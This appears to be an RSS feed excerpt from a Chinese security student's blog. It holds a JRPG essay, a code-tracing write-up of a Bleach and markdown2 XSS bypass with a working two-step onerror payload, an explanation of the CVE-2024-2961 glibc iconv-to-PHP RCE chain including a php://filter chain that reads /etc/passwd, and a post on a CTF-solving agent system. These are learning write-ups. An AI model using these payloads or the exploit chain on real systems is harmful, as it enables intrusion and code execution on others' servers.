&lt;p&gt;想到mbti有个好玩的问题，你能想象自己写虚构故事为生吗&lt;/p&gt;
&lt;p&gt;也许吧哈哈哈，突然有些想写&lt;/p&gt;
&lt;p&gt;或许世界观还并不是很成立，但是依然想写，我与JRPG的冒险&lt;/p&gt;
&lt;p&gt;因为近些时候一直在推JRPG，多多少少有些恍惚了&lt;/p&gt;
&lt;p&gt;这篇大陆名为塞姆利亚大陆，人人信仰天空女神爱德丝&lt;/p&gt;
&lt;p&gt;明明我还没推完就想妄加评判啦？或许吧&lt;/p&gt;
&lt;p&gt;人们使用的是七曜历，导力是这片大陆的核心科技，&lt;/p&gt;
&lt;p&gt;有时候会让我想起原力，哈哈&lt;/p&gt;
&lt;p&gt;May the force be with you&lt;/p&gt;
&lt;p&gt;艾丝蒂亚和约书亚就如此开始了在这篇天地的冒险&lt;/p&gt;
&lt;p&gt;这里可以引入其他的JRPG的共性，那就是&lt;/p&gt;
&lt;p&gt;不问因果，善就是善，恶也亦如此了&lt;/p&gt;
&lt;p&gt;比如说想起的著名的女神异闻录，女神转生系列，&lt;/p&gt;
&lt;p&gt;又或者是让人心灵平静的&lt;/p&gt;
&lt;p&gt;莱莎的炼金工房系列，又或者是&lt;/p&gt;
&lt;p&gt;及其著名的ff最终幻想，都是这样的特性&lt;/p&gt;
&lt;p&gt;并没有华丽的词藻，也无精彩的交互，战斗&lt;/p&gt;
&lt;p&gt;但是一直有一些心灵感染的魔力，不需要什么修饰&lt;/p&gt;
&lt;p&gt;就可以很达观得表现出来,即使很多时候厂商吃老本不进取&lt;/p&gt;
&lt;p&gt;但是很多时候我依然喜爱着JRPG&lt;/p&gt;
&lt;p&gt;如果一定要说为什么，那就是它的纯粹吧&lt;/p&gt;
&lt;p&gt;去掉现实中的污浊气，也正因如此&lt;/p&gt;
&lt;p&gt;推着JRPG，在塞姆利亚大陆冒险的游击士&lt;/p&gt;
&lt;p&gt;何曾会想起自己存在的当下呢，&lt;/p&gt;
&lt;p&gt;当然，JRPG很多时候是心灵的港湾而非逃避现实的工具&lt;/p&gt;
&lt;p&gt;这是毋容置疑的&lt;/p&gt;
&lt;p&gt;有些扯远了，今天为止已经推了三章了，在空轨1st最开始的时候我没怎么注意&lt;/p&gt;
&lt;p&gt;就当我开局是半失忆的吧&lt;/p&gt;
&lt;p&gt;不会忘记翻过古罗尼山，在湖边时，望着湖面和远方时的情愫&lt;/p&gt;
&lt;p&gt;亦会忆起，玛西亚孤儿院被烧毁时我气疯的感受哈哈&lt;/p&gt;
&lt;p&gt;还有以为约书亚被亲我也跟着艾丝蒂亚一起难受，当然我也误会了，，&lt;/p&gt;
&lt;p&gt;hhh，当然，如果要换个角度理解的话，那也是我自己确实喜爱着冒险，&lt;/p&gt;
&lt;p&gt;当然我也从未停下自己的脚步，&lt;/p&gt;
&lt;p&gt;当时看到救济金都被抢的时候，已经磨刀霍霍向猪羊了&lt;/p&gt;
&lt;p&gt;在洛连特，柏斯，卢安，蔡斯，冒险是美好的，嗯&lt;/p&gt;
&lt;p&gt;毕竟，现实中，我也希望有他们的心态与勇气吧，游击士啊&lt;/p&gt;
&lt;p&gt;我亦尊崇&lt;/p&gt;
</content:encoded></item><item><title>markdown2(Markdown 双哈希逃逸：Bleach 清洗后 markdown2 SafeMode 的 Alt 属性 XSS 完整链路)</title><link>https://ymsora.com/posts/md2/</link><guid isPermaLink="true">https://ymsora.com/posts/md2/</guid><description>always thinking</description><pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Markdown 双哈希逃逸：Bleach 清洗后 markdown2 SafeMode 的 Alt 属性 XSS 完整链路:)&lt;/h1&gt;
&lt;p&gt;adoraki!!!!!!!!!!&lt;/p&gt;
&lt;p&gt;就按照闲谈学习去完成这个吧，全链坐实&lt;/p&gt;
&lt;p&gt;无容置疑的点只有两个，就是需要让markdown语法和js进行联系&lt;/p&gt;
&lt;p&gt;以及让bot的无头浏览器执行我们的js&lt;/p&gt;
&lt;p&gt;我们看代码片段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;safe_md = bleach.clean(
        md,
        tags=[],
        attributes={},
        protocols=[],
        strip=True,
        strip_comments=True,
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接进行追溯&lt;/p&gt;
&lt;p&gt;这个函数传的参数很多都是默认的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def clean(
    text,
    tags=ALLOWED_TAGS,#[]
    attributes=ALLOWED_ATTRIBUTES,#{}
    protocols=ALLOWED_PROTOCOLS,#[]
    strip=False,
    strip_comments=True,
    css_sanitizer=None,
):

    cleaner = Cleaner(
        tags=tags,
        attributes=attributes,
        protocols=protocols,
        strip=strip,
        strip_comments=strip_comments,
        css_sanitizer=css_sanitizer,
    )
    return cleaner.clean(text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续跟&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def clean(self, text):
        if not isinstance(text, str):
            message = (
                f&quot;argument cannot be of {text.__class__.__name__!r} type, &quot;
                + &quot;must be of text type&quot;
            )
            raise TypeError(message)

        if not text:
            return &quot;&quot;

        dom = self.parser.parseFragment(text)#text是的
        filtered = BleachSanitizerFilter(
            source=self.walker(dom),
            allowed_tags=self.tags,
            attributes=self.attributes,
            strip_disallowed_tags=self.strip,
            strip_html_comments=self.strip_comments,
            css_sanitizer=self.css_sanitizer,
            allowed_protocols=self.protocols,
        )

        # Apply any filters after the BleachSanitizerFilter
        for filter_class in self.filters:
            filtered = filter_class(source=filtered)

        return self.serializer.render(filtered)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中parseFragment(text)是讲其解析为良好的树形结构，暂时不看&lt;/p&gt;
&lt;p&gt;看看BleachSanitizerFilter&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def sanitize_token(self, token):
        &quot;&quot;&quot;Sanitize a token either by HTML-encoding or dropping.

        Unlike sanitizer.Filter, allowed_attributes can be a dict of {&apos;tag&apos;:
        [&apos;attribute&apos;, &apos;pairs&apos;], &apos;tag&apos;: callable}.

        Here callable is a function with two arguments of attribute name and
        value. It should return true of false.

        Also gives the option to strip tags instead of encoding.

        :arg dict token: token to sanitize

        :returns: token or list of tokens

        &quot;&quot;&quot;
        token_type = token[&quot;type&quot;]
        if token_type in [&quot;StartTag&quot;, &quot;EndTag&quot;, &quot;EmptyTag&quot;]:
            if token[&quot;name&quot;] in self.allowed_tags:
                return self.allow_token(token)

            elif self.strip_disallowed_tags:
                return None

            else:
                return self.disallowed_token(token)

        elif token_type == &quot;Comment&quot;:
            if not self.strip_html_comments:
                # call lxml.sax.saxutils to escape &amp;amp;, &amp;lt;, and &amp;gt; in addition to &quot; and &apos;
                token[&quot;data&quot;] = html5lib_shim.escape(
                    token[&quot;data&quot;], entities={&apos;&quot;&apos;: &quot;&amp;amp;quot;&quot;, &quot;&apos;&quot;: &quot;&amp;amp;#x27;&quot;}
                )
                return token
            else:
                return None

        elif token_type == &quot;Characters&quot;:
            return self.sanitize_characters(token)

        else:
            return token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实就是将html标签转为不支持的格式&lt;/p&gt;
&lt;p&gt;然后直接转markdown，看看当markdown的safe标签的时候的过滤&lt;/p&gt;
&lt;p&gt;html = Markup(markdown2.markdown(safe_md, safe_mode=&quot;escape&quot;))&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _sanitize_html(self, s: str) -&amp;gt; str:
        if self.safe_mode == &quot;replace&quot;:
            return self.html_removed_text
        elif self.safe_mode == &quot;escape&quot;:
            replacements = [
                (&apos;&amp;amp;&apos;, &apos;&amp;amp;amp;&apos;),
                (&apos;&amp;lt;&apos;, &apos;&amp;amp;lt;&apos;),
                (&apos;&amp;gt;&apos;, &apos;&amp;amp;gt;&apos;),
            ]
            for before, after in replacements:
                s = s.replace(before, after)
            return s
        else:
            raise MarkdownError(&quot;invalid value for &apos;safe_mode&apos;: %r (must be &quot;
                                &quot;&apos;escape&apos; or &apos;replace&apos;)&quot; % self.safe_mode)

    _inline_link_title = re.compile(r&apos;&apos;&apos;
            (                   # \1
              [ \t]+
              ([&apos;&quot;])            # quote char = \2
              (?P&amp;lt;title&amp;gt;.*?)
              \2
            )?                  # title is optional
          \)$
        &apos;&apos;&apos;, re.X | re.S)
    _tail_of_reference_link_re = re.compile(r&apos;&apos;&apos;
          # Match tail of: [text][id]
          [ ]?          # one optional space
          (?:\n[ ]*)?   # one optional newline followed by spaces
          \[
            (?P&amp;lt;id&amp;gt;[^\[\]]*?)
          \]
        &apos;&apos;&apos;, re.X | re.S)

    _whitespace = re.compile(r&apos;\s*&apos;)

    _strip_anglebrackets = re.compile(r&apos;&amp;lt;(.*)&amp;gt;.*&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;貌似核心不在这，我们回去跟text&lt;/p&gt;
&lt;p&gt;在text最开始进markdown主函数的时候调用了convert&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def convert(self, text: str) -&amp;gt; &apos;UnicodeWithAttrs&apos;:
        &quot;&quot;&quot;Convert the given text.&quot;&quot;&quot;
        # Main function. The order in which other subs are called here is
        # essential. Link and image substitutions need to happen before
        # _EscapeSpecialChars(), so that any *&apos;s or _&apos;s in the &amp;lt;a&amp;gt;
        # and &amp;lt;img&amp;gt; tags get encoded.

        # Clear the global hashes. If we don&apos;t clear these, you get conflicts
        # from other articles when generating a page which contains more than
        # one article (e.g. an index page that shows the N most recent
        # articles):
        self.reset()

        if not isinstance(text, str):
            # TODO: perhaps shouldn&apos;t presume UTF-8 for string input?
            text = str(text, &apos;utf-8&apos;)

        if self.use_file_vars:
            # Look for emacs-style file variable hints.
            text = self._emacs_oneliner_vars_pat.sub(self._emacs_vars_oneliner_sub, text)
            emacs_vars = self._get_emacs_vars(text)
            if &quot;markdown-extras&quot; in emacs_vars:
                splitter = re.compile(&quot;[ ,]+&quot;)
                for e in splitter.split(emacs_vars[&quot;markdown-extras&quot;]):
                    if &apos;=&apos; in e:
                        ename, earg = e.split(&apos;=&apos;, 1)
                        try:
                            earg = int(earg)
                        except ValueError:
                            pass
                    else:
                        ename, earg = e, None
                    self.extras[ename] = earg

            self._setup_extras()

        # Standardize line endings:
        text = text.replace(&quot;\r\n&quot;, &quot;\n&quot;)
        text = text.replace(&quot;\r&quot;, &quot;\n&quot;)

        # Make sure $text ends with a couple of newlines:
        text += &quot;\n\n&quot;

        # Convert all tabs to spaces.
        text = self._detab(text)

        # Strip any lines consisting only of spaces and tabs.
        # This makes subsequent regexen easier to write, because we can
        # match consecutive blank lines with /\n+/ instead of something
        # contorted like /[ \t]*\n+/ .
        text = self._ws_only_line_re.sub(&quot;&quot;, text)

        # strip metadata from head and extract
        if &quot;metadata&quot; in self.extras:
            text = self._extract_metadata(text)

        text = self.preprocess(text)

        if self.safe_mode:
            text = self._hash_html_spans(text)

        # Turn block-level HTML blocks into hash entries
        text = self._hash_html_blocks(text, raw=True)

        # Strip link definitions, store in hashes.
        if &quot;footnotes&quot; in self.extras:
            # Must do footnotes first because an unlucky footnote defn
            # looks like a link defn:
            #   [^4]: this &quot;looks like a link defn&quot;
            text = self._strip_footnote_definitions(text)
        text = self._strip_link_definitions(text)

        text = self._run_block_gamut(text)

        if &quot;footnotes&quot; in self.extras:
            text = self._do_footnote_marker(text)
            text = self._add_footnotes(text)

        text = self.postprocess(text)

        text = self._unescape_special_chars(text)

        text = self._unhash_html_spans(text)
        if self.safe_mode:
            # return the removed text warning to its markdown.py compatible form
            text = text.replace(self.html_removed_text, self.html_removed_text_compat)

        do_target_blank_links = &quot;target-blank-links&quot; in self.extras
        do_nofollow_links = &quot;nofollow&quot; in self.extras

        if do_target_blank_links and do_nofollow_links:
            text = self._a_nofollow_or_blank_links.sub(r&apos;&amp;lt;\1 rel=&quot;nofollow noopener&quot; target=&quot;_blank&quot;\2&apos;, text)
        elif do_target_blank_links:
            text = self._a_nofollow_or_blank_links.sub(r&apos;&amp;lt;\1 rel=&quot;noopener&quot; target=&quot;_blank&quot;\2&apos;, text)
        elif do_nofollow_links:
            text = self._a_nofollow_or_blank_links.sub(r&apos;&amp;lt;\1 rel=&quot;nofollow&quot;\2&apos;, text)

        if &quot;toc&quot; in self.extras and self._toc:
            if self.extras[&apos;header-ids&apos;].get(&apos;mixed&apos;):
                # TOC will only be out of order if mixed headers is enabled
                def toc_sort(entry):
                    &apos;&apos;&apos;Sort the TOC by order of appearance in text&apos;&apos;&apos;
                    match = re.search(
                        # header tag, any attrs, the ID, any attrs, the text, close tag
                        r&apos;^&amp;lt;(h%d).*?id=([&quot;\&apos;])%s\2.*&amp;gt;%s&amp;lt;/\1&amp;gt;$&apos; % (entry[0], entry[1], re.escape(entry[2])),
                        text, re.M
                    )
                    return match.start() if match else 0

                self._toc.sort(key=toc_sort)
            self._toc_html = calculate_toc_html(self._toc)

            # Prepend toc html to output
            if self.cli or (self.extras[&apos;toc&apos;] is not None and self.extras[&apos;toc&apos;].get(&apos;prepend&apos;, False)):
                text = f&apos;{self._toc_html}\n{text}&apos;

        text += &quot;\n&quot;

        # Attach attrs to output
        rv = UnicodeWithAttrs(text)

        if &quot;toc&quot; in self.extras and self._toc:
            rv.toc_html = self._toc_html

        if &quot;metadata&quot; in self.extras:
            rv.metadata = self.metadata
        return rv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一段是没有校验其他字段的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; if self.safe_mode:
            text = self._hash_html_spans(text)

        # Turn block-level HTML blocks into hash entries
        text = self._hash_html_blocks(text, raw=True)

        # Strip link definitions, store in hashes.

        text = self._strip_link_definitions(text)

        text = self._run_block_gamut(text)

        text = self.postprocess(text)

        text = self._unescape_special_chars(text)

        text = self._unhash_html_spans(text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先看看_hash_html_spans&lt;/p&gt;
&lt;p&gt;因为比较长，只截回调那一部分，也就是非函数而是调用的部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code_hashes = {}
        text = self._code_span_re.sub(
            lambda m: self._hash_span(m.string[m.start(): m.end()], code_hashes),
            text
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为md是reset的新状态，那么当_code_span_re这个正则被匹配的时候就会进行hash_span回调，&lt;/p&gt;
&lt;p&gt;继续追溯&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_code_span_re = re.compile(r&apos;&apos;&apos;
            (?&amp;lt;!\\)
            (`+)        # \1 = Opening run of `
            (?!`)       # See Note A test/tm-cases/escapes.text
            (.+?)       # \2 = The code block
            (?&amp;lt;!`)
            \1          # Matching closer
            (?!`)
        &apos;&apos;&apos;, re.X | re.S)
def _hash_span(self, text: str, hash_table: Optional[dict] = None) -&amp;gt; str:
        &apos;&apos;&apos;
        Wrapper around `_hash_text` that also adds the hash to `self.hash_spans`,
        meaning it will be automatically unhashed during conversion.

        Args:
            text: the text to hash
            hash_table: the dict to insert the hash into. If omitted will default to `self.html_spans`

        Returns:
            The hashed text
        &apos;&apos;&apos;
        key = _hash_text(text)
        if hash_table is not None:
            hash_table[key] = text
        else:
            self.html_spans[key] = text
        return key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _hash_text(s: str) -&amp;gt; str:
    return &apos;md5-&apos; + sha256(SECRET_SALT + s.encode(&quot;utf-8&quot;)).hexdigest()[32:]

# Table of hash values for escaped characters:
g_escape_table = {ch: _hash_text(ch)
    for ch in &apos;\\`*_{}[]()&amp;gt;#+-.!&apos;}

# Ampersand-encoding based entirely on Nat Irons&apos;s Amputator MT plugin:
#   http://bumppo.net/projects/amputator/
_AMPERSAND_BODY_RE = r&apos;#?[xX]?(?:[0-9a-fA-F]+|\w+);&apos;
_AMPERSAND_RE = re.compile(r&apos;&amp;amp;(?!%s)&apos; % _AMPERSAND_BODY_RE)
_ESCAPED_AMPERSAND_RE = re.compile(r&apos;(?:\\\\)*\\&amp;amp;(%s)&apos; % _AMPERSAND_BODY_RE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里转hash，然后就是正常的图片转img标签。然后就是_unescape_special_chars&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _unescape_special_chars(self, text: str) -&amp;gt; str:
        # Swap back in all the special characters we&apos;ve hidden.
        hashmap = tuple(self._escape_table.items()) + tuple(self._code_table.items())
        # html_blocks table is in format {hash: item} compared to usual {item: hash}
        hashmap += tuple(tuple(reversed(i)) for i in self.html_blocks.items())
        while True:
            orig_text = text
            for ch, hash in hashmap:
                text = text.replace(hash, ch)
            if text == orig_text:
                break
        return text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它用元组将hash换了回来&lt;/p&gt;
&lt;p&gt;也就是一个md5对应的原本代码&lt;/p&gt;
&lt;p&gt;在这里需要先明确&lt;/p&gt;
&lt;p&gt;md的语法，也就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![x](y)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的x是alt属性，y是src&lt;/p&gt;
&lt;p&gt;但是有一点，它转hash转回来的时候只换了src，并没有换alt标签的东西，&lt;/p&gt;
&lt;p&gt;所以alt的md5就会被直接泄露出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;result = (
    f&apos;&amp;lt;img src=&quot;...&quot;&apos;
    f&apos; alt=&quot;{self.md._hash_span(_xml_escape_attr(link_text))}&quot;&apos;   # ← 这里！
    ...
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且因为clean的缘故没法插入html标签&lt;/p&gt;
&lt;p&gt;所以执行这个分两步&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![`&quot; onerror=&quot;alert(1)//`]()![a](`REPLACEME//`)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个的&lt;code&gt;&quot; onerror=&quot;alert(1)//&lt;/code&gt;因为是alt标签，所以直接被转换为md5填充回来但是不会被替换&lt;/p&gt;
&lt;p&gt;而&lt;code&gt;REPLACEME//&lt;/code&gt;这一部分是src，它的md5最后会&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;orig_text = text
            for ch, hash in hashmap:
                text = text.replace(hash, ch)
            if text == orig_text:
                break
        return text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是转回来，并且这个md5是循环的，也就是说会直到无法转为止才会返回&lt;/p&gt;
&lt;p&gt;如果说为啥不直接将这个放到()里，那是因为safe的模块会转义&quot;&quot;,&apos;&apos;等等内容&lt;/p&gt;
&lt;p&gt;所以我们先用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![`&quot; onerror=&quot;alert(1)//`]()![a](`REPLACEME//`)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将恶意代码的md5泄露出来，再二次填入&lt;code&gt;REPLACEME//&lt;/code&gt;的这个地方&lt;/p&gt;
&lt;p&gt;所以第二次是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![`&quot; onerror=&quot;alert(1)//`]()![a](`md5-xxxxxxx`)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样经过循环后md5就会被二次转为恶意代码，并且``包裹也就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;code&amp;amp;gt;&quot; onerror=&quot;alert(1)////&amp;amp;lt;/code&quot; alt=&quot;a&quot; ... /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;极其巧妙的截断&lt;/p&gt;
&lt;p&gt;完结&lt;/p&gt;
</content:encoded></item><item><title>CVE-2024-2961 完整 RCE 链详解：1字节 glibc 溢出如何秒杀 PHP</title><link>https://ymsora.com/posts/pwn_1/</link><guid isPermaLink="true">https://ymsora.com/posts/pwn_1/</guid><description>最近精神经常崩溃，状态很差，emmm，或许是下一个阶段了吧</description><pubDate>Wed, 22 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CVE-2024-2961 完整 RCE 链详解：1字节 glibc 溢出如何秒杀 PHP&lt;/h1&gt;
&lt;p&gt;这里算是我为数不多接触到pwn的一次，但是我这次机会想到，我有必要进行对pwn的学习&lt;/p&gt;
&lt;p&gt;当然，这次是PHP的多链引发的想法，涉及了一个PWN相关影响深远的CVE，CVE-2025-2961.&lt;/p&gt;
&lt;p&gt;我会用WEB手也通俗易懂的语言来讲解，这个CVE网上相关文章也很多，我也就阐述一下自己观点&lt;/p&gt;
&lt;p&gt;这个CVE的是发生在iconv函数中，并且基本上是在转义函数可控的情况下发生的，&lt;/p&gt;
&lt;p&gt;这里先说说前置概念，这个缓冲区溢出是因为ISO-2022-CN-EXT的SS2/SS3切换缺乏缓冲区校验引起的&lt;/p&gt;
&lt;p&gt;ISO-2022-CN-EXT是一个中文字符编码形式，假设这个编码是一个柜子，那么SS2，SS3就是抽屉，用来存个别字符的柜子&lt;/p&gt;
&lt;p&gt;我们先看一看简化的关键源码，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;else if ((used &amp;amp; SS2_mask) != 0 &amp;amp;&amp;amp; (ann &amp;amp; SS2_ann) != (used &amp;lt;&amp;lt; 8)) {
    const char *escseq;
    assert (used == CNS11643_2_set); /* XXX */
    escseq = &quot;*H&quot;;
    *outptr++ = ESC;          // 0x1B
    *outptr++ = &apos;$&apos;;          // 0x24
    *outptr++ = *escseq++;    // 0x2A
    *outptr++ = *escseq++;    // 0x48
    ann = (ann &amp;amp; ~SS2_ann) | (used &amp;lt;&amp;lt; 8);
}
else if ((used &amp;amp; SS3_mask) != 0 &amp;amp;&amp;amp; (ann &amp;amp; SS3_ann) != (used &amp;lt;&amp;lt; 8)) {
    const char *escseq;
    assert ((used &amp;gt;&amp;gt; 5) &amp;gt;= 3 &amp;amp;&amp;amp; (used &amp;gt;&amp;gt; 5) &amp;lt;= 7);
    escseq = &quot;+I+J+K+L+M&quot; + ((used &amp;gt;&amp;gt; 5) - 3) * 2;
    *outptr++ = ESC;
    *outptr++ = &apos;$&apos;;
    *outptr++ = *escseq++;
    *outptr++ = *escseq++;
    ann = (ann &amp;amp; ~SS3_ann) | (used &amp;lt;&amp;lt; 8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当识别是SS2/SS3的时候在缓存区写入我注视的这一串命令，而这里并没有校验缓冲区是否够存放，&lt;/p&gt;
&lt;p&gt;所以会造成缓冲区溢出，这个理念倒是非常清晰易懂，但是难点是如何利用进行RCE。&lt;/p&gt;
&lt;p&gt;在PHP中控制了拥有读文件等操作，在漏洞版本范围内，便可上升为RCE&lt;/p&gt;
&lt;p&gt;这里要先从PHP的内存管理机制说起，读文件可以用过滤器php://filter&lt;/p&gt;
&lt;p&gt;而filter支持dechunk自定义块，在一块内存中，如果不停发送dechunk也就可以自定义每块的大小，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_get_contents(&quot;php://filter/
    dechunk|
    convert.iconv.latin1.latin1|
    convert.iconv.latin1.latin1|
    （重复多次堆喷）
    convert.iconv.UTF-8.ISO-2022-CN-EXT
/resource=/etc/passwd&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是空闲内存，然后当中插入受害块，也就是ISO-2022-CN-EXT的SS2/SS3&lt;/p&gt;
&lt;p&gt;进行编码转换命令时分到的块，而有几个特殊的汉字会使其溢出，这样就会溢出到相邻块，&lt;/p&gt;
&lt;p&gt;也就会污染相邻块的最低位，往往是0x48，也就是说最低位0000变为0x48，这样内存释放时&lt;/p&gt;
&lt;p&gt;free_solts的这部分内存指向就变了，链表被毒化之后，&lt;/p&gt;
&lt;p&gt;攻击者利用堆喷(简略概括)，将许多空闲内存都挂上string对象，而其中是有len属性的，&lt;/p&gt;
&lt;p&gt;当正常执行一次构造字符串时，地址偏移让正常写字符串的操作写入了len字段&lt;/p&gt;
&lt;p&gt;这样len的长度可以被改的超级大，这样就泄漏了大量系统函数的地址&lt;/p&gt;
&lt;p&gt;接下来就是RCE&lt;/p&gt;
&lt;p&gt;PHP的内存管理器是ZENDMM，他是一个大内存池，&lt;/p&gt;
&lt;p&gt;它控制分配这些内存的供给与释放，而其中_zend_mm_heap结构的子结构custom_heap控制内存释放的指针&lt;/p&gt;
&lt;p&gt;它控制着内存释放的时候指向的函数指针&lt;/p&gt;
&lt;p&gt;如此一来我调用dechunk结合之前泄漏的地址，任意写入custom_heap，将指针覆盖为system()的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//简化结构
typedef struct _zend_mm_custom_heap {
    void (*_free)(void *ptr);   // ← 要改的目标
    // ...
} custom_heap;

_zend_mm_heap-&amp;gt;custom_heap._free = system();  // 攻击者通过 overlap 实现
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是每次内存释放都会调用&lt;/p&gt;
&lt;p&gt;当然PHP的内存调用是很频繁的，&lt;/p&gt;
&lt;p&gt;最后将要执行的命令放入一个可控的zend_string对象中，也就是一个挂载其的对象，然后触发一次内存释放，&lt;/p&gt;
&lt;p&gt;命令也就执行了。&lt;/p&gt;
</content:encoded></item><item><title>CTF Agent 校赛斩获 TOP 1：阶段开发成果分享</title><link>https://ymsora.com/posts/agent_1/</link><guid isPermaLink="true">https://ymsora.com/posts/agent_1/</guid><description>CTF Agent 校赛斩获 TOP 1：阶段开发成果分享</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTF Agent 校赛斩获 TOP 1：阶段开发成果分享&lt;/h1&gt;
&lt;h2&gt;比赛检验&lt;/h2&gt;
&lt;p&gt;在自己开发了一段时间的CTF agent项目迎来了阶段性的检验成果.&lt;/p&gt;
&lt;p&gt;在校赛上，我部署了agent的工作流，接入的api是CHATGPT-5系列&lt;/p&gt;
&lt;p&gt;取得了很好的成果，开赛一个多小时，我已经领先了第二名7000分&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/ag_1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到最后，也是成功拿到了top1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/ag_2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;pwn的题目没打因为后面把工作流停了，emmm&lt;/p&gt;
&lt;p&gt;介绍一下我的agent流吧&lt;/p&gt;
&lt;h2&gt;agent的研究方向以及多agent协作&lt;/h2&gt;
&lt;p&gt;关于agent的开发，也感谢一些师傅给了我思路上的帮助 @kwansh&lt;/p&gt;
&lt;p&gt;有一些MCP工具集以及Prompt的分化和持久性，以及工具调用上或多或少参照了cc的思路&lt;/p&gt;
&lt;p&gt;但是，与之不同的也就是专门为CTF设计的能力&lt;/p&gt;
&lt;p&gt;也就是专业方向性引导&lt;/p&gt;
&lt;p&gt;我把它称为三省六部制&lt;/p&gt;
&lt;p&gt;也就是3个agent核心大脑，和六个子agent，&lt;/p&gt;
&lt;p&gt;主要的问题在于同步专业性方向以及对于agent幻觉的避免&lt;/p&gt;
&lt;p&gt;我对此给出的解决方案是，&lt;/p&gt;
&lt;p&gt;三个agent在工作记忆上进行轮次同步，也就是异步同步，&lt;/p&gt;
&lt;p&gt;这样测试下来可以增加记忆同步的效率,&lt;/p&gt;
&lt;p&gt;并且相对于同时同步来说，解题速度提高了不少&lt;/p&gt;
&lt;p&gt;再是六子agent，4个是直接性寻找解题方向，并且这四个同时也是异步同步记忆，&lt;/p&gt;
&lt;p&gt;另外两个一个进行记忆上下文压缩，一个进行幻觉指出和全方向的权重分析&lt;/p&gt;
&lt;p&gt;当然，我的系统内置了难度判断，上述情况是判定为满级难度时采取的策略&lt;/p&gt;
&lt;p&gt;对于工具来说，我采用了完整的sandbox策略，并且agent在判断sandbox中工具缺失的时候时有权&lt;/p&gt;
&lt;p&gt;调用各种包管理器进行安装&lt;/p&gt;
&lt;p&gt;在更丰富的mcp策略上我同样借鉴了类unix的策略，同样的接口，同样的工具注册，调用接口以及机制&lt;/p&gt;
&lt;p&gt;我认为这依然是前沿的解决方向。&lt;/p&gt;
&lt;p&gt;当然还有很多细节，也就不一一赘述了&lt;/p&gt;
&lt;h2&gt;关于CTF&lt;/h2&gt;
&lt;p&gt;我的想法一直没变，AI会改变CTF，改变网络安全，乃至对计算机产生深远的影响，但是&lt;/p&gt;
&lt;p&gt;我愈发坚定得认为，学习是绝对有必要的&lt;/p&gt;
&lt;p&gt;AI只会给不学的人借口，让他们迷失在时代的浪潮中吧&lt;/p&gt;
&lt;p&gt;路漫漫其修远矣，我的安全之路亦如此&lt;/p&gt;
&lt;h2&gt;后记&lt;/h2&gt;
&lt;p&gt;因为CTF的竞技性快完了，我就想着不如把这个火烧旺一些，&lt;/p&gt;
&lt;p&gt;现在有意向开发一个只要输入CTF网站url，就全自动注册开靶机打题的项目&lt;/p&gt;
&lt;p&gt;敬请期待吧&lt;/p&gt;
</content:encoded></item><item><title>OpenCode部署安全边界的思考</title><link>https://ymsora.com/posts/opencode_1216/</link><guid isPermaLink="true">https://ymsora.com/posts/opencode_1216/</guid><description>OpenCode部署边界的思考</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;OpenCode部署安全边界的思考&lt;/h1&gt;
&lt;p&gt;关于应用模式导致的边界问题的思考，&lt;/p&gt;
&lt;p&gt;我们知道很多是有方便本地用户而设置的默认功能，服务就会省略鉴权等等的功能&lt;/p&gt;
&lt;p&gt;很多时候在服务配置边界不明确的情况下，对于鉴权是极其宽松的&lt;/p&gt;
&lt;p&gt;在我审计opencode的边界时，尤为感受深刻。&lt;/p&gt;
